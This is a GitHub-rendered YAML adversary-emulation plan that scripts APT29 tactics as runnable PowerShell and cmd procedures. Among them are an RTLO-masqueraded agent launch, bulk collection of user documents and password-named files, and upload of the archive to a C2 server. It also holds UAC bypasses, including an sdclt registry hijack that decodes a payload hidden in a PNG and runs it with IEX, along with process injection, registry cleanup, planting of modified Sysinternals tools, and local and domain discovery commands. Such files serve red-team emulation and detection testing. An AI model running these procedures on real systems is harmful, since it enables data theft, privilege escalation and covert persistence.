-
Notifications
You must be signed in to change notification settings - Fork 319
/
Copy pathAPT29.yaml
2809 lines (2520 loc) · 99.5 KB
/
APT29.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# APT29.yaml - CALDERA and Atomic style TTPs
- emulation_plan_details:
id: 4975696e-1d41-11eb-adc1-0242ac120002
adversary_name: APT29
adversary_description: APT29 is a threat group that has been attributed to the Russian government who have been in operation since at least 2008. This group reportedly compromised the Democratic National Committee starting in the summer of 2015.
attack_version: 8.1
format_version: 1.0
# Scenario 1
# Step 1 - Initial Breach
- id: 571845f6-b75c-4b9d-a666-a78f7827261f
name: RTLO Start Sandcat
description: Perform RTLO technique with SANDCAT
tactic: execution
technique:
attack_id: T1036.002
name: "Masquerading: Right-to-Left Override"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163405/CosmicDuke.pdf"
procedure_group: procedure_execution
procedure_step: "1.A"
platforms:
windows:
psh,pwsh:
command: |
Sleep 3;
$bin = Get-ChildItem *cod*scr*;
$arguments = '-server "#{server}" -group "rtlo_group"';
start-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;
if ($?) {
write-host "Successfully completed RTLO execution. A new agent should appear";
exit 0;
} else {
write-host "Failure of RTLO execution.";
exit 1;
}
payloads:
- cod.3aka3.scr
input_arguments:
server:
description: IP or Hostname of server
type: string
default: 192.0.2.10
executors:
- name: powershell
command: |
Sleep 3;
$bin = Get-ChildItem *cod*scr*;
$arguments = '-server "#{server}" -group "rtlo_group"';
start-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;
if ($?) {
write-host "Successfully completed RTLO execution. A new agent should appear";
exit 0;
} else {
write-host "Failure of RTLO execution.";
exit 1;
}
- id: a5daa530-c640-49bc-aa54-6808789a684a
name: PowerShell
description: Spawn powershell.exe from cmd.exe
tactic: execution
technique:
attack_id: T1059.001
name: "Command and Scripting Interpreter: PowerShell"
cti_source: "https://securelist.com/the-cozyduke-apt/69731/"
procedure_group: procedure_execution
procedure_step: "1.B"
platforms:
windows:
cmd:
command: |
powershell.exe;
if ($?) {
write-host "[*] PowerShell successfully spawned";
exit 0;
}
executors:
- name: command_prompt
command: |
powershell.exe;
if ($?) {
write-host "[*] PowerShell successfully spawned";
exit 0;
}
# Step 2 - Rapid Collection and Exfiltration
- id: 5692da31-3586-4e4f-8f07-5750070c730b
name: Automated Collection
description: Execute PowerShell from cmd.exe to collect and compress files of specific extensions.
tactic: collection
technique:
attack_id: T1119
name: "Automated Collection"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_collection
procedure_step: "2.A.1"
platforms:
windows:
psh,pwsh:
command: |
$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force
executors:
- name: powershell
command: |
$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force
- id: ee08a427-1e1d-4d8a-aeb1-978a7fcf9087
name: System Network Configuration Discovery
description: The ipconfig utility is executed via cmd to enumerate local TCP/IP network configuration information.
tactic: discovery
technique:
attack_id: T1016
name: "System Network Configuration Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.A.2"
platforms:
windows:
cmd:
command: |
ipconfig /all
executors:
- name: command_prompt
command: |
ipconfig /all
- id: 64f1fcb4-399d-4f3b-9a6b-13ec00e1c2ce
name: System Network Configuration Discovery
description: The arp utility is executed via cmd to enumerate local ARP configuration information.
tactic: discovery
technique:
attack_id: T1016
name: "System Network Configuration Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.A.3"
platforms:
windows:
cmd:
command: |
arp -a
executors:
- name: command_prompt
command: |
arp -a
- id: 35d95b64-c1f8-4ac7-a2f2-8959218239cd
name: System Owner / User Discovery
description: The native echo command is executed via cmd to enumerate local environment variables associated with current user and domain.
tactic: discovery
technique:
attack_id: T1033
name: "System Owner/User Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.B.1"
platforms:
windows:
cmd:
command: |
echo %USERDOMAIN%\%USERNAME%
executors:
- name: command_prompt
command: |
echo %USERDOMAIN%\%USERNAME%
- id: 68e209dd-f354-4adc-8bc6-e85a3e55a7f4
name: Data from staged fileand Exfiltration over C2 Channel
description: Copy a target file from a remote file share through the existing C2 channel
tactic: exfiltration
technique:
attack_id: T1041
name: "Exfiltration Over Command and Control Channel"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_exfiltration
procedure_step: "2.B.2"
platforms:
windows:
psh,pwsh:
command: |
Import-Module .\upload.ps1 -Verbose -Force;
Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\AppData\Roaming\Draft.zip" -Uri "#{server}/file/upload";
payloads:
- upload.ps1
input_arguments:
profile_user:
description: Name of profile user
type: string
default: Administrator
server:
description: IP or Hostname of server
type: string
default: 192.0.2.10
executors:
- name: powershell
command: |
Import-Module .\upload.ps1 -Verbose -Force;
Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\AppData\Roaming\Draft.zip" -Uri "#{server}/file/upload";
- id: 5df12481-9d8c-4235-b550-9cefc8ed7361
name: Process Discovery
description: API call(s) are executed to enumerate local running processes.
tactic: discovery
technique:
attack_id: T1057
name: "Process Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.C.1"
platforms:
windows:
psh,pwsh:
command: |
Import-Module .\ps.ps1 -Verbose -Force;
ProcessList
payloads:
- ps.ps1
executors:
- name: powershell
command: |
Import-Module .\ps.ps1 -Verbose -Force;
ProcessList
- id: 41610306-087c-4c34-874b-37b8ed633a36
name: Process Discovery
description: The tasklist utility is executed via cmd to enumerate local running processes.
tactic: discovery
technique:
attack_id: T1057
name: "Process Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.C.2"
platforms:
windows:
cmd:
command: |
tasklist /v
executors:
- name: command_prompt
command: |
tasklist /v
- id: 2ff877b4-0c00-401e-9d3f-070c70b610df
name: System Service Discovery
description: The sc utility is executed via cmd to enumerate local active services.
tactic: discovery
technique:
attack_id: T1007
name: "System Service Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.D.1"
platforms:
windows:
cmd:
command: |
sc query
executors:
- name: command_prompt
command: |
sc query
- id: 144b1384-5060-494f-80eb-91772695cdf3
name: System Service Discovery
description: The net utility is executed via cmd to enumerate local active services.
tactic: discovery
technique:
attack_id: T1007
name: "System Service Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.D.2"
platforms:
windows:
cmd:
command: |
net start
executors:
- name: command_prompt
command: |
net start
- id: d2ea2676-7f85-4228-b980-ab3c0e1adc03
name: System Information Discovery
description: The systeminfo utility is executed via cmd to enumerate local operating system configuration.
tactic: discovery
technique:
attack_id: T1082
name: "System Information Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.E.1"
platforms:
windows:
cmd:
command: |
systeminfo
executors:
- name: command_prompt
command: |
systeminfo
- id: 7c2a6e5b-1adb-464f-a581-4677391f8dd6
name: System Information Discovery
description: The net utility is executed via cmd to enumerate local operating system configuration.
tactic: discovery
technique:
attack_id: T1082
name: "System Information Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.E.2"
platforms:
windows:
cmd:
command: |
net config workstation
executors:
- name: command_prompt
command: |
net config workstation
- id: faa96e7f-081a-40b7-a743-a6a7f2627ea3
name: Permissions Groups Discovery
description: The net utility is executed via cmd to enumerate members of the local system's administrators group.
tactic: discovery
technique:
attack_id: T1069
name: "Permission Groups Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.F.1"
platforms:
windows:
cmd:
command: |
net localgroup administrators
executors:
- name: command_prompt
command: |
net localgroup administrators
- id: 26181249-be75-41ed-9fe7-5c30ea8c2d4d
name: Permissions Groups Discovery
description: The net utility is executed via cmd to enumerate members of the domain controller’s administrators group.
tactic: discovery
technique:
attack_id: T1069
name: "Permission Groups Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.F.2"
platforms:
windows:
cmd:
command: |
net localgroup administrators /domain
executors:
- name: command_prompt
command: |
net localgroup administrators /domain
- id: 84377d7a-0363-44fd-a082-44657ca1858f
name: Permissions Groups Discovery
description: The net utility is executed via cmd to enumerate members of the domain administrators group.
tactic: discovery
technique:
attack_id: T1069
name: "Permission Groups Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.F.3"
platforms:
windows:
psh,pwsh:
command: |
cmd.exe /c net group "Domain Admins" /domain
executors:
- name: powershell
command: |
cmd.exe /c net group "Domain Admins" /domain
- id: 61221fb9-cb32-46d5-98fd-90567a621526
name: Account Discovery
description: The net utility is executed via cmd to enumerate domain user accounts.
tactic: discovery
technique:
attack_id: T1087
name: "Account Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.G.1"
platforms:
windows:
cmd:
command: |
net user /domain
executors:
- name: command_prompt
command: |
net user /domain
- id: 9ce5bf9f-44ec-44c4-bbe0-6d68a83e1b76
name: Account Discovery
description: The net utility is executed via cmd to enumerate detailed information about a specific user account.
tactic: discovery
technique:
attack_id: T1087
name: "Account Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.G.2"
platforms:
windows:
cmd:
command: |
net user %USERNAME% /domain
executors:
- name: command_prompt
command: |
net user %USERNAME% /domain
- id: 5c23f638-9cfc-4fc4-9cab-4af628fef70a
name: Query Registry
description: The reg utility is executed via cmd to enumerate a specific Registry key associated with local system policies to ensure that the user will not be prompted for credentials when elevating permissions.
tactic: discovery
technique:
attack_id: T1012
name: "Query Registry"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "2.H.1"
platforms:
windows:
cmd:
command: |
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
executors:
- name: command_prompt
command: |
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# Step 3 - Deploy Stealth Toolkit
- id: 68b588bc-002a-42dc-bac7-9189f944065b
name: Staging monkey PNG
description: Staging PNG for Lateral Movement
tactic: defensive-evasion
technique:
attack_id: T1036.005
name: "Masquerading: Match Legitimate Name or Location"
cti_source: "https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
procedure_group: procedure_def_evasion
procedure_step: "3.A.1"
platforms:
windows:
psh,pwsh:
command: |
$username="#{profile_user}";
if ( $(test-path -path "C:\Users\$username\Downloads\monkey.png") -eq $false ) {
copy-item monkey.png -Destination "C:\Users\$username\Downloads\\" -Force;
if ($? -eq $True) {
write-host "[+] Successfully copied monkey.png!";
get-childitem -path "C:\Users\$username\Downloads\\";
exit 0;
} else {
write-host "[+] Failed to copy monkey.png.";
exit 1;
}
} else {
write-host "[*] monkey.png already exists within C:\users\$username\Downloads..."
}
payloads:
- monkey.png
input_arguments:
profile_user:
description: Name of profile user
type: string
default: Administrator
executors:
- name: powershell
command: |
$username="#{profile_user}";
if ( $(test-path -path "C:\Users\$username\Downloads\monkey.png") -eq $false ) {
copy-item monkey.png -Destination "C:\Users\$username\Downloads\\" -Force;
if ($? -eq $True) {
write-host "[+] Successfully copied monkey.png!";
get-childitem -path "C:\Users\$username\Downloads\\";
exit 0;
} else {
write-host "[+] Failed to copy monkey.png.";
exit 1;
}
- id: 1345bff7-6f26-43b2-a92a-9aabccdb3db0
name: Bypass User Account Control
description: A UAC bypass technique is executed to steal the token of an existing high-integrity process and launch a new, high-integrity RAT with limited functionality.
tactic: privilege-escalation
technique:
attack_id: T1134.001
name: "Access Token Manipulation: Token Impersonation/Theft"
cti_source: "https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
procedure_group: procedure_privesc
procedure_step: "3.A.2"
platforms:
windows:
psh,pwsh:
command: |
Import-Module .\Invoke-BypassUACTokenManipulation.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Invoke-BypassUACTokenManipulation -Arguments "-nop -exec bypass -EncodedCommand $pcode" -Verbose
payloads:
- update.ps1
- Invoke-BypassUACTokenManipulation.ps1
input_arguments:
server:
description: IP or Hostname of server
type: string
default: 192.0.2.10
executors:
- name: powershell
command: |
Import-Module .\Invoke-BypassUACTokenManipulation.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Invoke-BypassUACTokenManipulation -Arguments "-nop -exec bypass -EncodedCommand $pcode" -Verbose
- id: 89e9dffa-8836-4672-8cf3-bebd006d2a2b
name: UAC Bypass via Backup Utility
description: Modify registry values of sdclt to bypass UAC
tactic: privilege-escalation
technique:
attack_id: T1548.002
name: "Abuse Elevation Control Mechanism: Bypass User Account Control"
cti_source: "https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
procedure_group: procedure_privesc
procedure_step: "3.A.3"
platforms:
windows:
psh,pwsh:
command: |
if (!(test-path -path $env:windir\system32\sdclt.exe)) {
write-host "[!] sdclt.exe was not found on this host.";
exit 1;
}
New-Item -Path HKCU:\Software\Classes -Name Folder -Force;
New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;
$username="#{profile_user}";
$payload='powershell.exe -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName "System.Drawing"; $g=a System.Drawing.Bitmap("C:\Users\$($username)\Downloads\monkey.png");$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))"';
Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)" -Value $payload -Force;
Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Value "" -Force;
cmd.exe /c sdclt.exe;
cmd.exe /c powershell.exe;
input_arguments:
profile_user:
description: Name of profile user
type: string
default: Administrator
executors:
- name: powershell
command: |
if (!(test-path -path $env:windir\system32\sdclt.exe)) {
write-host "[!] sdclt.exe was not found on this host.";
exit 1;
}
New-Item -Path HKCU:\Software\Classes -Name Folder -Force;
New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;
New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;
$username="#{profile_user}";
$payload='powershell.exe -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName "System.Drawing"; $g=a System.Drawing.Bitmap("C:\Users\$($username)\Downloads\monkey.png");$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))"';
Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)" -Value $payload -Force;
Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Value "" -Force;
cmd.exe /c sdclt.exe;
cmd.exe /c powershell.exe;
- id: 5ff80022-8d85-410b-b868-6c7565b267e5
name: Registry Cleanup for UAC Bypass Technique
description: Delete registry entries post-UAC bypass.
tactic: defensive-evasion
technique:
attack_id: T1112
name: "Modify Registry"
cti_source: "https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
procedure_group: procedure_def_evasion
procedure_step: "3.B"
platforms:
windows:
psh,pwsh:
command: |
Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force;
if (!(test-path -path HKCU:\Software\Classes\Folder)) {
write-host "[+] Reg keys removed!";
}
executors:
- name: powershell
command: |
Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force;
if (!(test-path -path HKCU:\Software\Classes\Folder)) {
write-host "[+] Reg keys removed!";
}
- id: 088b8639-3f37-42cc-9dc8-01aabb645461
name: Process Injection
description: The limited functionality high-integrity RAT will inject malicious code into an existing fully functional high-integrity process, resulting in a new elevated, fully functional high-integrity RAT.
tactic: privilege-escalation
technique:
attack_id: T1055
name: "Process Injection"
cti_source: "https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
procedure_group: procedure_privesc
procedure_step: "3.C"
platforms:
windows:
psh,pwsh:
command: |
Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Inject -PoshCode $pcode;
payloads:
- update.ps1
- Invoke-PSInject.ps1
input_arguments:
server:
description: IP or Hostname of server
type: string
default: 192.0.2.10
executors:
- name: powershell
command: |
Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;
Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;
$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('#{server}')"));
Inject -PoshCode $pcode;
# Step 4 - Defense Evasion and Discovery
- id: 4f7d21c9-ea31-4943-ad8a-efbbeeccdd7d
name: Planting Modified Sysinternals Utilities
description: Uploading payloads masquerading as via modified SysInternalsSuite
tactic: stage-capabilities
technique:
attack_id: T1036.005
name: "Masquerading: Match Legitimate Name or Location"
cti_source: "N/A"
procedure_group: procedure_staging
procedure_step: "4.A.1"
platforms:
windows:
psh,pwsh:
command: |
iwr -uri "https://download.sysinternals.com/files/SysinternalsSuite.zip" -outfile SysInternalsSuite.zip;
Expand-Archive -Path SysInternalsSuite.zip -DestinationPath "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -Force;
if (! $?) {
write-host "Error moving files to #{profile_user}\Downloads";
exit 1;
}
Move-Item Modified-SysInternalsSuite.zip "C:\Users\#{profile_user}\Downloads" -Force;
Expand-Archive -LiteralPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -DestinationPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -Force;
if (! $?) {
write-host "Error expanding files to #{profile_user}\Downloads";
exit 1;
}
$dir_exists=Test-Path -path "C:\Program Files\SysInternalsSuite";
if ($dir_exists -eq $true) {
write-host "[*] SysInternalsSuite folder exists within \"C:\Program Files\", copying over payloads then removing folder from Downloads.";
Move-Item -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
Move-Item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
} else {
mkdir "C:\Program Files\SysInternalsSuite";
Copy-Item -Path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
Copy-Item -Path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
}
if (test-path -path "SysInternalsSuite.zip") {
Remove-Item -path "filesystem::SysInternalsSuite.zip" -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" ) {
remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite") {
remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -recurse -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite") {
Remove-Item -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -recurse -force;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
if ($?) {
gci;
write-host "[*] Successfully planted files"
} else {
write-host "[!] Error downloading and planting modified system tools."
}
payloads:
- Modified-SysInternalsSuite.zip
input_arguments:
profile_user:
description: Name of profile user
type: string
default: Administrator
executors:
- name: powershell
command: |
iwr -uri "https://download.sysinternals.com/files/SysinternalsSuite.zip" -outfile SysInternalsSuite.zip;
Expand-Archive -Path SysInternalsSuite.zip -DestinationPath "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -Force;
if (! $?) {
write-host "Error moving files to #{profile_user}\Downloads";
exit 1;
}
Move-Item Modified-SysInternalsSuite.zip "C:\Users\#{profile_user}\Downloads" -Force;
Expand-Archive -LiteralPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -DestinationPath "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -Force;
if (! $?) {
write-host "Error expanding files to #{profile_user}\Downloads";
exit 1;
}
$dir_exists=Test-Path -path "C:\Program Files\SysInternalsSuite";
if ($dir_exists -eq $true) {
write-host "[*] SysInternalsSuite folder exists within \"C:\Program Files\", copying over payloads then removing folder from Downloads.";
Move-Item -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
Move-Item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
} else {
mkdir "C:\Program Files\SysInternalsSuite";
Copy-Item -Path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
Copy-Item -Path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite\\*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;
}
if (test-path -path "SysInternalsSuite.zip") {
Remove-Item -path "filesystem::SysInternalsSuite.zip" -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" ) {
remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite.zip" -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite") {
remove-item -path "C:\Users\#{profile_user}\Downloads\Modified-SysInternalsSuite" -recurse -force;
}
if (test-path -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite") {
Remove-Item -path "C:\Users\#{profile_user}\Downloads\SysInternalsSuite" -recurse -force;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
if ($?) {
gci;
write-host "[*] Successfully planted files"
} else {
write-host "[!] Error downloading and planting modified system tools."
}
- id: 59592c35-8207-4896-8d8b-36ad4600245d
name: Remote System Discovery
description: The net utility is executed via cmd to enumerate DCs within the domain
tactic: discovery
technique:
attack_id: T1018
name: "Remote System Discovery"
